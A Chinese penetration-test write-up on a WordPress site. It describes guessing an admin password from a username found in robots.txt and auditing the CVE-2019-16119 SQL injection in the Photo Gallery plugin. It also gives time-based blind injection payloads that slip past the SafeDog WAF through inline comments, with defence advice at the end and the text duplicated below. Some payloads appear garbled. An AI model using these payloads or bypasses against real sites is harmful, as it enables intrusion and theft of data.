渗透测试之黑白无常“续”
字数 1554 2025-08-15 21:33:42

WordPress渗透测试:Photo Gallery插件SQL注入漏洞分析与绕过技巧

1. 背景与目标确认

本次渗透测试的目标是一个WordPress网站,经过初步确认:

  • 使用WordPress框架构建
  • 默认后台路径/wp-admin/可访问
  • 管理员账号为admin,但非弱口令

2. 信息收集与后台突破

2.1 目录扫描发现

  • 发现非标准文件2.php(仅显示"test")
  • 存在robots.txt文件,其中包含关键信息:
    robots.txt generated at zhangchao
    

2.2 后台密码破解

通过分析robots.txt中的用户名zhangchao,尝试构造密码:

  1. 尝试简单组合:zhangchaozhangchao123
  2. 尝试年份组合:zhangchao@2019(成功)

3. 后台功能限制分析

进入后台后发现:

  • 插件上传功能被删除
  • 主题上传功能不可用
  • 编辑功能受限
  • 已安装插件中包含Photo Gallery插件(版本1.5.34)

4. 漏洞分析与定位

4.1 插件信息

  • 插件名称:Photo Gallery
  • 当前版本:1.5.34(最新为1.5.56)
  • 功能:图片库管理插件,30万+活跃安装

4.2 漏洞确认

通过CVE检索发现相关漏洞:

  • CVE-2019-16119:SQL注入漏洞
  • 漏洞文件:min/controllers/Albumsgalleries.php
  • 漏洞参数:album_id

5. 代码审计过程

5.1 漏洞位置

Albumsgalleries.php中的display方法:

public function display() {
    $album_id = WDWLibrary::get('album_id', 0);
    // ...
    $params['album_id'] = $album_id;
    $rows_data = $this->model->get_rows_data($params);
}

5.2 参数过滤分析

  1. WDWLibrary::get方法:

    • 直接获取GET参数
    • 非数组参数调用validata_data方法过滤
  2. validata_data方法过滤:

    • 使用stripslashes删除反斜杠
    • 使用esc_html函数转换特殊字符:
      • 转换:<, >, &, ", '
      • 已为实体的不转换

5.3 SQL语句构造

get_rows_data方法中直接拼接SQL语句:

$where = ' WHERE album_id=' . $params['album_id'];
$wpdb->get_results($query);

6. 漏洞利用与绕过技巧

6.1 基本注入点

访问URL:

/wp-admin/admin-ajax.php?action=albumsgalleries_bwg&album_id=1

6.2 安全狗防护绕过

  1. 初始payload被拦截

    album_id=1 AND (SELECT 5603 FROM (SELECT(SLEEP(5)))yBYg)
    
  2. 绕过方法

    • 使用内联注释包裹关键词:
      album_id=1 AND (/*!SELECT/4072 FROM (/*!SELECT/SLEEP(5)))XOSi)
      

6.3 特殊字符限制绕过

由于esc_html函数过滤:

  • 无法使用:<, >, &, ", '
  • 可使用:=(等号)

最终payload构造

album_id=1 /*!and/20(/*!SELECT/204072 FROM (/*!SELECT/If(ascii(substr(database(),1,1))=119,/*!sleep/10),1)))XOSi)

6.4 自动化测试技巧

使用Burp Suite Intruder模块:

  1. 设置ASCII码范围(48-126)
  2. 观察响应时间(10秒延迟为匹配成功)

7. 漏洞利用流程总结

  1. 确认插件版本(1.5.34)
  2. 构造基本注入URL
  3. 绕过安全狗防护:
    • 使用内联注释/*!keyword/绕过关键词检测
  4. 绕过字符过滤:
    • 仅使用未被过滤的符号(如=
  5. 使用时间盲注技术:
    • 通过响应时间判断ASCII码值

8. 防御建议

  1. 对于WordPress管理员

    • 及时更新插件到最新版本
    • 避免使用可预测的管理员密码
    • 限制后台访问IP
  2. 对于开发者

    • 使用预处理语句替代直接SQL拼接
    • 实现更严格的输入过滤
    • 对关键操作添加CSRF保护
  3. 对于安全防护

    • 更新WAF规则识别内联注释攻击
    • 监控异常时间延迟请求

9. 关键知识点总结

  1. 信息收集:robots.txt可能泄露关键用户名
  2. 密码构造:企业常用密码模式(用户名+@+年份)
  3. 插件审计:通过CVE定位历史漏洞
  4. 过滤绕过
    • 内联注释绕过WAF
    • 等号替代不等号
  5. 盲注技术:基于时间的ASCII码逐字符比对

通过本案例,我们展示了从信息收集到漏洞利用的完整渗透测试流程,特别强调了在存在安全防护情况下的绕过技巧。

WordPress渗透测试:Photo Gallery插件SQL注入漏洞分析与绕过技巧 1. 背景与目标确认 本次渗透测试的目标是一个WordPress网站,经过初步确认: 使用WordPress框架构建 默认后台路径 /wp-admin/ 可访问 管理员账号为 admin ,但非弱口令 2. 信息收集与后台突破 2.1 目录扫描发现 发现非标准文件 2.php (仅显示"test") 存在 robots.txt 文件,其中包含关键信息: 2.2 后台密码破解 通过分析 robots.txt 中的用户名 zhangchao ,尝试构造密码: 尝试简单组合: zhangchao 、 zhangchao123 尝试年份组合: zhangchao@2019 (成功) 3. 后台功能限制分析 进入后台后发现: 插件上传功能被删除 主题上传功能不可用 编辑功能受限 已安装插件中包含 Photo Gallery 插件(版本1.5.34) 4. 漏洞分析与定位 4.1 插件信息 插件名称:Photo Gallery 当前版本:1.5.34(最新为1.5.56) 功能:图片库管理插件,30万+活跃安装 4.2 漏洞确认 通过CVE检索发现相关漏洞: CVE-2019-16119:SQL注入漏洞 漏洞文件: min/controllers/Albumsgalleries.php 漏洞参数: album_id 5. 代码审计过程 5.1 漏洞位置 Albumsgalleries.php 中的 display 方法: 5.2 参数过滤分析 WDWLibrary::get 方法: 直接获取GET参数 非数组参数调用 validata_data 方法过滤 validata_data 方法过滤: 使用 stripslashes 删除反斜杠 使用 esc_html 函数转换特殊字符: 转换: < , > , & , " , ' 已为实体的不转换 5.3 SQL语句构造 get_rows_data 方法中直接拼接SQL语句: 6. 漏洞利用与绕过技巧 6.1 基本注入点 访问URL: 6.2 安全狗防护绕过 初始payload被拦截 : 绕过方法 : 使用内联注释包裹关键词: 6.3 特殊字符限制绕过 由于 esc_html 函数过滤: 无法使用: < , > , & , " , ' 可使用: = (等号) 最终payload构造 : 6.4 自动化测试技巧 使用Burp Suite Intruder模块: 设置ASCII码范围(48-126) 观察响应时间(10秒延迟为匹配成功) 7. 漏洞利用流程总结 确认插件版本(1.5.34) 构造基本注入URL 绕过安全狗防护: 使用内联注释 /*!keyword/ 绕过关键词检测 绕过字符过滤: 仅使用未被过滤的符号(如 = ) 使用时间盲注技术: 通过响应时间判断ASCII码值 8. 防御建议 对于WordPress管理员 : 及时更新插件到最新版本 避免使用可预测的管理员密码 限制后台访问IP 对于开发者 : 使用预处理语句替代直接SQL拼接 实现更严格的输入过滤 对关键操作添加CSRF保护 对于安全防护 : 更新WAF规则识别内联注释攻击 监控异常时间延迟请求 9. 关键知识点总结 信息收集 :robots.txt可能泄露关键用户名 密码构造 :企业常用密码模式(用户名+@+年份) 插件审计 :通过CVE定位历史漏洞 过滤绕过 : 内联注释绕过WAF 等号替代不等号 盲注技术 :基于时间的ASCII码逐字符比对 通过本案例,我们展示了从信息收集到漏洞利用的完整渗透测试流程,特别强调了在存在安全防护情况下的绕过技巧。